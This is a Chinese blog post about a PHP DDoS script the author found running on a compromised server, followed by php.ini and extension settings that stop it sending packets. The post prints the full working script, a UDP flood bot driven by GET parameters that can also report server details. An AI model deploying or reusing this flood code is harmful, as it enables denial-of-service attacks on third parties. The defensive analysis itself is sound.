php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP数据库开发知多少
Oct 09 PHP
如何隐藏你的.php文件
Jan 04 PHP
PHP获取url的函数代码
Aug 02 PHP
thinkPHP的Html模板标签使用方法
Nov 13 PHP
PHP定时任务延缓执行的实现
Oct 08 PHP
php上传中文文件名乱码问题处理方案
Feb 03 PHP
一个简单至极的PHP缓存类代码
Oct 23 PHP
php实现倒计时效果
Dec 19 PHP
编写PHP脚本清除WordPress头部冗余代码的方法讲解
Mar 01 PHP
PHP自定义多进制的方法
Nov 03 PHP
[原创]PHPCMS遭遇会员投稿审核无效的解决方法
Jan 11 PHP
laravel-admin 实现给grid的列添加行数序号的方法
Oct 08 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
php中filter函数验证、过滤用户输入的数据
2014/01/13 PHP
php中使用PHPExcel读写excel(xls)文件的方法
2014/09/15 PHP
JQuery动画和停止动画实例代码
2013/03/01 Javascript
jQuery在html有效在jsp无效的原因及解决方法
2013/08/02 Javascript
jQuery的$.proxy()应用示例介绍
2014/04/03 Javascript
JSON简介以及用法汇总
2016/02/21 Javascript
JavaScript中循环遍历Array与Map的方法小结
2016/03/12 Javascript
详解JavaScript for循环中发送AJAX请求问题
2020/06/23 Javascript
Js遍历键值对形式对象或Map形式的方法
2016/08/08 Javascript
使用开源工具制作网页验证码的方法
2016/10/17 Javascript
Bootstrap树形菜单插件TreeView.js使用方法详解
2016/11/01 Javascript
简单实现js放大镜效果
2017/07/24 Javascript
详解用node搭建简单的静态资源管理器
2017/08/09 Javascript
javascript将json格式数组下载为excel表格的方法
2017/12/22 Javascript
动态Axios的配置步骤详解
2018/01/12 Javascript
JavaScript设计模式之构造器模式(生成器模式)定义与用法实例分析
2018/07/26 Javascript
vue使用微信JS-SDK实现分享功能
2019/08/23 Javascript
vue 通过 Prop 向子组件传递数据的实现方法
2020/10/30 Javascript
Webpack的Loader和Plugin的区别
2020/11/09 Javascript
vue 表单输入框不支持focus及blur事件的解决方案
2020/11/17 Vue.js
详解Python中with语句的用法
2015/04/15 Python
Python基础篇之初识Python必看攻略
2016/06/23 Python
基于Python __dict__与dir()的区别详解
2017/10/30 Python
Python简单计算给定某一年的某一天是星期几示例
2018/06/27 Python
python 获取utc时间转化为本地时间的方法
2018/12/31 Python
增大python字体的方法步骤
2020/07/05 Python
基于Python爬取fofa网页端数据过程解析
2020/07/13 Python
PyCharm2020.3.2安装超详细教程
2021/02/08 Python
美国南加州的原创极限运动潮牌:Vans(范斯)
2016/08/05 全球购物
鱼油专家:Omegavia
2016/10/10 全球购物
Sunglass Hut巴西网上商店:男女太阳镜
2020/10/04 全球购物
雅虎笔试题(字符串操作)
2015/03/24 面试题
优秀小学生家长评语
2014/01/30 职场文书
主要负责人任命书
2014/06/06 职场文书
社区综治宣传月活动总结
2014/07/02 职场文书
教师作风整顿个人剖析材料
2014/10/10 职场文书